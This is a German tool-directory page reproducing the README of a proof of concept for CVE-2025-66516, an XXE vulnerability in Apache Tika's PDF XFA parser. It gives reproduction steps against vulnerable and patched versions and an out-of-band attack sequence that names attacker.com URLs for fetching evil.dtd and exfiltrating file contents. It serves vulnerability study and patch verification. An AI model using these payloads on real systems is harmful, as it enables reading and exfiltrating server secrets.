Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-66516-POC — Ein POC für die CVE-2025-66516 Apache Tika Vulnerability nur zu Bildungszwecken | Kitploit
Tools/GitHubGitHub/sid6224/cve-2025-66516-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

Ein POC für die CVE-2025-66516 Apache Tika Vulnerability nur zu Bildungszwecken

Repository anzeigen
612vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚠️ LESEN SIE DEN HAFTUNGSAUSSCHLUSS VOR DER NUTZUNG ⚠️

Nur zu Bildungs-/Autorisierten Testzwecken | Lizenz | Sicherheitsrichtlinie


CVE Tika Severity XXE License Platform Java


Über diesen POC

Dieses Repository enthält einen Proof-of-Concept (POC)-Exploit für CVE-2025-66516, eine XML External Entity (XXE)-Injection-Schwachstelle in Apache Tika Versionen vor 3.2.2. Die Schwachstelle betrifft den XFA (XML Forms Architecture)-Parser in der Komponente tika-parser-pdf-module und ermöglicht es Angreifern, lokale Dateien zu lesen und sensible Daten durch böswillig erstellte PDF-Dokumente zu exfiltrieren.

Was ist CVE-2025-66516?

CVE-2025-66516 ist eine kritische Sicherheitslücke in der PDF-Parsing-Funktionalität von Apache Tika. Bei der Verarbeitung von PDF-Dateien mit eingebetteten XFA-Formularen schalten Tika-Versionen vor 3.2.2 die externe Entity-Verarbeitung in XML-Parsern nicht richtig ein. Dies ermöglicht Angreifern Folgendes:

  • Beliebige Dateien vom Server-Dateisystem lesen (Offenlegung lokaler Dateien)
  • Sensible Daten an externe Server exfiltrieren (Out-of-Band-XXE)
  • SSRF-Angriffe durchführen, indem Anfragen an interne Netzwerkressourcen ausgelöst werden
  • Sicherheitskontrollen in Anwendungen umgehen, die auf Tika zur Dokumentenverarbeitung angewiesen sind

Details zur Schwachstelle

  • CVE-ID: CVE-2025-66516
  • Betroffene Komponente: Apache Tika tika-parser-pdf-module
  • Betroffene Versionen: Apache Tika < 3.2.2
  • Gepatchte Version: Apache Tika 3.2.2 und höher
  • Angriffsvektor: Böswillig erstelltes PDF mit XFA-Formularen, die XXE-Payloads enthalten
  • Auswirkung: Vertraulichkeitsverletzung, Datenexfiltration, Server-Side Request Forgery (SSRF)
  • CVSS-Schweregrad: Hoch
  • Verwandte CVE: CVE-2025-32370 (ähnliche XXE-Schwachstelle in Tika)

Repository-Inhalte

Dieses Repository enthält:

  • gen_poc.py - Python-Skript zur Erstellung bösartiger PDFs für XXE-Angriffe zum Lesen lokaler Dateien
  • gen_oob_poc.py - Python-Skript zur Erstellung von PDFs für Out-of-Band-Datenexfiltration
  • http_listener.py - HTTP-Server zur Demonstration der OOB-XXE-Datenexfiltration
  • DocumentProcessor.java - Beispiel-Java-Anwendung, die eine anfällige Tika-Integration zeigt
  • Vollständige Schritt-für-Schritt-Reproduktionsanleitung mit erwarteten Ausgaben
  • Technische Analyse mit Vergleich von anfälligen und gepatchten Versionen
  • Dokumentation des Angriffsablaufs mit Erklärung des Exploit-Mechanismus

Schlagwörter

Apache Tika XXE, CVE-2025-66516 Exploit, Tika Sicherheitslücke, XML External Entity Angriff, PDF XXE Injection, Tika 3.2.1 Schwachstelle, Out-of-Band XXE, OOB XXE, Sicherheitsforschung, Penetrationstest, POC Exploit, Offenlegung von Schwachstellen, XFA Parser Schwachstelle, tika-parser-pdf-module, Datei-Offenlegung, Datenexfiltration, SSRF Angriff, sicheres Codieren, Schwachstellenanalyse, Sicherheitstests, ethisches Hacken, Infosec, Cybersicherheitsforschung, Apache Tika Exploit-Code, XXE Payload, PDF Sicherheit, Dokumentenparser Schwachstelle


Getestete Umgebung

Hinweis: Dieser POC wurde getestet und verifiziert auf:

  • Apache Tika Versionen: 3.2.1 (anfällig) und 3.2.2 (gepatcht)
  • Betriebssystem: Linux - Ubuntu 24.04.3 LTS
  • Java Version: OpenJDK 17.0.17

POC-Verzeichnis einrichten

Erstellen Sie zunächst ein dediziertes Verzeichnis für den POC, um alle Dateien organisiert zu halten.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Umgebungsüberprüfung

Überprüfen Sie vor dem Fortfahren mit dem POC, ob Ihre Umgebung die erforderlichen Abhängigkeiten enthält. Diese Befehle zeigen Ihre Java-Compiler/Laufzeitversionen und OS-Details an, die für die Reproduktion der Schwachstelle wichtig sind.

root@kitploit:~
# Java-Version prüfen
java -version
javac -version

# OS-Version prüfen
lsb_release -a

Erwartete Ausgabe: Sie sollten Java-Versionsinformationen (z. B. OpenJDK 17.x.x) und Ubuntu-Versionsdetails (24.04.3 LTS) sehen.

Apache Tika JARs herunterladen

Laden Sie sowohl die anfällige (3.2.1) als auch die gepatchte (3.2.2) Version von Apache Tika herunter. Wir benötigen beide Versionen, um zu demonstrieren, dass die XXE-Schwachstelle in 3.2.1 existiert und in 3.2.2 behoben ist. Das tika-app JAR ist eine All-in-One ausführbare Datei, die alle Tika-Parser und Abhängigkeiten enthält.

root@kitploit:~
# Anfällige Tika-Version herunterladen
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Gepatchte Tika-Version herunterladen
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Erwartete Ausgabe: Zwei JAR-Dateien werden heruntergeladen - tika-app-3.2.1.jar (~75 MB) und tika-app-3.2.2.jar (~75 MB).

Komponentenversionen überprüfen

Überprüfen Sie die genauen Versionen durch Einsicht in die JAR-Manifestdateien. Dies bestätigt, dass wir die korrekten anfälligen und gepatchten Versionen vor dem Testen haben.

root@kitploit:~
# Manifest der anfälligen Version prüfen
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Manifest der gepatchten Version prüfen
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Erwartete Ausgabe: Manifest-Dateien, die Implementation-Version: 3.2.1 bzw. 3.2.2 zusammen mit Build-Zeitstempeln und anderen Metadaten anzeigen.

Komponenten-POM-Eigenschaften auflisten

Wenn wir uns die Project Object Models (Mavens POM-Eigenschaften definieren die Abhängigkeiten, Build-Konfiguration und Metadaten eines Projekts) ansehen, sehen wir, dass es keine separaten tika-parsers gibt, wie in den Sicherheitshinweisen erwähnt – könnte versionsabhängig sein, und die Annahme ist, dass in den Versionen 3.2.1 und 3.2.2, die Teil des POC sind, das tika-parsers-Modul durch einzelne Parser-Module ersetzt wurde.

root@kitploit:~
# Alle pom.properties-Dateien der Komponenten für beide Versionen auflisten
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Erwartete Ausgabe: Eine Liste aller Tika-Komponentenmodule einschließlich tika-core, tika-parser-pdf-module, tika-xmp usw. Sie werden einzelne Parser-Module anstelle eines einzelnen tika-parsers-Moduls bemerken.

Tika-Komponentenversionen überprüfen

Extrahieren und anzeigen der Versionsinformationen für Kern-Tika-Komponenten. Dies hilft uns, die interne Modulstruktur zu verstehen und zu bestätigen, dass sowohl die Kernbibliothek als auch das PDF-Parser-Modul die erwarteten Versionen haben.

root@kitploit:~
# tika-core, tika-parser-pdf-module und tika-app Versionen für 3.2.1 prüfen
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# tika-core, tika-parser-pdf-module und tika-app Versionen für 3.2.2 prüfen
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Erwartete Ausgabe: POM-Eigenschaften, die version=3.2.1 oder version=3.2.2 für jede Komponente anzeigen, getrennt durch ---. Alle drei Komponenten (tika-core, tika-parser-pdf-module, tika-app) sollten mit der Gesamtversion übereinstimmen.

Ziel-Datei für XXE-Ausnutzung erstellen

Erstellen Sie eine gefälschte Geheimnisdatei, die das Ziel unseres XXE-Angriffs sein wird. Diese Datei simuliert sensible Daten (wie API-Schlüssel oder Anmeldeinformationen), die ein Angreifer durch die XXE-Schwachstelle zu exfiltrieren versuchen könnte.

root@kitploit:~
# Ziel-Geheimnisdatei erstellen
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Erwartete Ausgabe: Eine Datei namens fake-secrets.txt mit dem Inhalt INTERNAL_SERVER_KEY=EXPOSED. Diese wird vom XXE-Exploit gelesen.

Code-Analyse: Vergleich anfällig vs. gepatcht

Um den Fix zu verstehen, müssen wir die Klasse XMLReaderUtils aus beiden Versionen dekompilieren und vergleichen. Diese Klasse ist für die Erstellung von XML-Parsern verantwortlich, und die Schwachstelle resultiert daraus, wie sie die XML-Entity-Verarbeitung konfiguriert.

root@kitploit:~
# Anfälliges JAR zur Analyse extrahieren
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Gepatchtes JAR zur Analyse extrahieren
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Anfällige Klasse dekompilieren
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Gepatchte Klasse dekompilieren
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Versionen vergleichen
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Erwartete Ausgabe: Die Extraktion erstellt zwei Verzeichnisse mit dekompilierten Klassendateien. Der javap-Befehl erzeugt Bytecode-Disassembly der Klasse XMLReaderUtils. Der diff-Befehl zeigt Unterschiede in der Konfiguration des XML-Parsers zwischen den Versionen.

Den Fix identifizieren

Wenn wir genau vergleichen, finden wir, dass jegliche Doctype-Definition (DTD) und Unterstützung für externe Entities in 3.2.2 deaktiviert ist – das ist der Kern des Fixes:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Erwartete Ausgabe: Sie werden eine Diff-Ausgabe sehen, die zeigt, dass Version 3.2.2 Aufrufe hinzufügt, um die DTD-Verarbeitung und Auflösung externer Entities zu deaktivieren. Achten Sie auf Zeilen, die accessExternalDTD auf leeren String setzen und supportDTD auf false setzen.

POC #1: Lokales Datei-Lesen XXE

Dies demonstriert den klassischen XXE-Angriff, bei dem ein bösartiges PDF eine lokale Datei vom Server-Dateisystem liest. Das Python-Skript generiert ein PDF mit einem eingebetteten XFA-Formular, das XML mit einem XXE-Payload enthält, der auf file:///fake-secrets.txt verweist.

root@kitploit:~
# Bösartiges PDF generieren
python3 ./gen_poc.py

# Mit anfälligem Tika 3.2.1 testen
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Mit gepatchtem Tika 3.2.2 testen
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Erwartete Ausgabe:

  • gen_poc.py erstellt cve_2025_66516_poc.pdf mit dem XXE-Payload
  • Anfällig (3.2.1): Tika's Ausgabe wird INTERNAL_SERVER_KEY=EXPOSED enthalten – den Inhalt der Geheimnisdatei!
  • Gepatcht (3.2.2): Tika's Ausgabe wird die geheimen Daten NICHT enthalten; der XXE-Angriff wird blockiert

POC #2: Out-of-Band XXE

Dies demonstriert einen ausgefeilteren XXE-Angriff mittels Out-of-Band (OOB)-Datenexfiltration. Anstatt den Dateiinhalt in der Antwort widerzuspiegeln, zwingt das bösartige PDF Tika, die Daten an einen externen Server zu senden, der vom Angreifer kontrolliert wird. Diese Technik funktioniert auch dann, wenn die Anwendung den geparsten Inhalt nicht zurückgibt.

root@kitploit:~
# Out-of-Band XXE PDF generieren
python3 ./gen_oob_poc.py

# HTTP-Listener starten (in separatem Terminal)
python3 ./http_listener.py

# OOB XXE mit anfälligem Tika 3.2.1 testen
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# OOB XXE mit gepatchtem Tika 3.2.2 testen
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Erwartete Ausgabe:

  • gen_oob_poc.py erstellt cve-2025-66516_OOB_XXE.pdf mit OOB-XXE-Payload
  • http_listener.py startet einen Server auf Port 8888 und wartet auf eingehende Anfragen
  • Anfällig (3.2.1): Der HTTP-Listener empfängt zwei Anfragen:
    1. GET-Anfrage für /evil.dtd (externer DTD-Abruf)
    2. GET-Anfrage an /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (Datenexfiltration)
  • Gepatcht (3.2.2): Keine HTTP-Anfragen empfangen; Verarbeitung externer Entities wird blockiert

Tests auf Anwendungsebene

Dies testet die Schwachstelle in einem realistischeren Szenario, in dem Tika als Bibliothek innerhalb einer Java-Anwendung verwendet wird (nicht nur das Kommandozeilen-Tool). Der Code DocumentProcessor.java simuliert, wie eine typische Anwendung Tika zur Dokumentenanalyse integrieren könnte.

root@kitploit:~
# Mit anfälligem Tika kompilieren
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Mit anfälligem Tika ausführen
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Mit gepatchtem Tika kompilieren
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Mit gepatchtem Tika ausführen
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Erwartete Ausgabe:

  • Anfällig (3.2.1): Das Programm wird ausgeben:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [Text mit INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Gepatcht (3.2.2): Das Programm wird ausgeben:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [Text OHNE geheime Daten]
    ✓ No XXE vulnerability detected.
    

Bereinigung

Entfernen Sie temporäre Verzeichnisse und Dateien, die während der Analysephase erstellt wurden, um den Arbeitsbereich sauber zu halten.

root@kitploit:~
# Extraktionsverzeichnisse entfernen
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Erwartete Ausgabe: Die Verzeichnisse und dekompilierten Textdateien werden entfernt. Es wird keine Ausgabe angezeigt, es sei denn, es liegt ein Fehler vor.


Den Angriffsablauf verstehen

XXE-Angriffssequenz auf lokales Dateisystem

  1. PDF enthält XFA-Stream mit DOCTYPE + ENTITY-Deklaration
  2. Tika erkennt XFA → ruft XFAExtractor auf
  3. XFAExtractor erstellt XML-Parser über XMLReaderUtils
  4. Parser verarbeitet DOCTYPE, registriert xxe-Entity
  5. Parser stößt auf &xxe;-Referenz
  6. Parser löst Entity auf → liest file:///fake-secrets.txt
  7. Dateiinhalt wird an der &xxe;-Stelle in das XML eingefügt
  8. XFAExtractor extrahiert Feldwert = Dateiinhalt
  9. Anwendung erhält geheime Daten in der Tika-Ausgabe

Out-of-Band (OOB) XXE-Angriffssequenz

  1. PDF enthält XFA mit DOCTYPE, die Parameter-Entities (%file, %dtd) deklariert
  2. Tika erkennt XFA → ruft XFAExtractor auf
  3. XFAExtractor erstellt XML-Parser über XMLReaderUtils
  4. Parser verarbeitet DOCTYPE, registriert %file-Entity → zeigt auf file:///fake-secrets.txt
  5. Parser stößt auf %dtd;-Referenz → zeigt auf http://attacker.com:8888/evil.dtd
  6. Parser sendet HTTP-GET-Anfrage an den Server des Angreifers, um evil.dtd abzurufen
  7. HTTP-Server des Angreifers empfängt Anfrage, liefert evil.dtd-Inhalt
  8. Parser verarbeitet evil.dtd: definiert %payload-Entity mit &send-Definition
  9. evil.dtd expandiert %payload → erstellt &send-Entity mit Exfiltrations-URL
  10. &send-Entity enthält: http://attacker.com:8888/exfil?data=%file;
  11. Parser expandiert %file; innerhalb der &send-URL → Dateiinhalt wird eingefügt
  12. Parser löst &send;-Entity auf → sendet HTTP-GET an Exfiltrations-Endpunkt
  13. HTTP-Server des Angreifers empfängt /exfil-Anfrage mit Dateiinhalt im URL-Parameter
  14. Angreifer extrahiert Daten aus URL-Parameter, protokolliert geheimen Dateiinhalt
  15. Anwendungsausgabe irrelevant → Daten wurden bereits an den Server des Angreifers exfiltriert

Referenzen

Offizielle Sicherheitshinweise

  • Apache Tika Sicherheitsseite: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • MITRE CVE-Datenbank: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

Verwandte Schwachstellen

  • CVE-2025-54988 - Frühere CVE-Kennung, die durch CVE-2025-66516 ersetzt wird (gleiche Schwachstelle, umnummeriert)
  • CVE-2025-32370 - Ähnliche XXE-Schwachstelle in Apache Tika
  • OWASP XXE-Leitfaden: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Technische Ressourcen

  • Apache Tika Dokumentation: https://tika.apache.org/
  • XXE-Angriffstechniken: https://portswigger.net/web-security/xxe
  • PDF XFA-Spezifikation: Adobe XML Forms Architecture (XFA) Spezifikation
  • Upwind Sicherheitsanalyse: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (Referenz für Anwendungscode)

Verantwortungsvolle Offenlegung

Wenn Sie Sicherheitslücken entdecken, melden Sie diese bitte verantwortungsvoll:

  • Apache Sicherheitsteam: [email protected]
  • Apache Tika Team: https://tika.apache.org/mail-lists.html

Tags

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration ssrf oob-xxe file-disclosure secure-coding vulnerability-analysis security-testing exploit-development red-team blue-team appsec document-parsing java-security


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Nur zu Bildungszwecken – Dieser POC ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben, ist illegal.


Mitwirken

Beiträge zur Verbesserung dieses POC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:

  • Die Praktiken der verantwortungsvollen Offenlegung einhalten
  • Angemessene Haftungsausschlüsse enthalten
  • Keinen bösartigen Code über die Bildungsdemonstration hinaus enthalten
  • Den Fokus auf den Bildungswert beibehalten

Danksagungen

  • Apache Tika Sicherheitsteam für ihre Arbeit beim Patchen dieser Schwachstelle
  • Sicherheitsforschungsgemeinschaft für verantwortungsvolle Offenlegungspraktiken
  • Mitwirkende an diesem Repository

Zuletzt aktualisiert: Dezember 2025

Tool herunterladen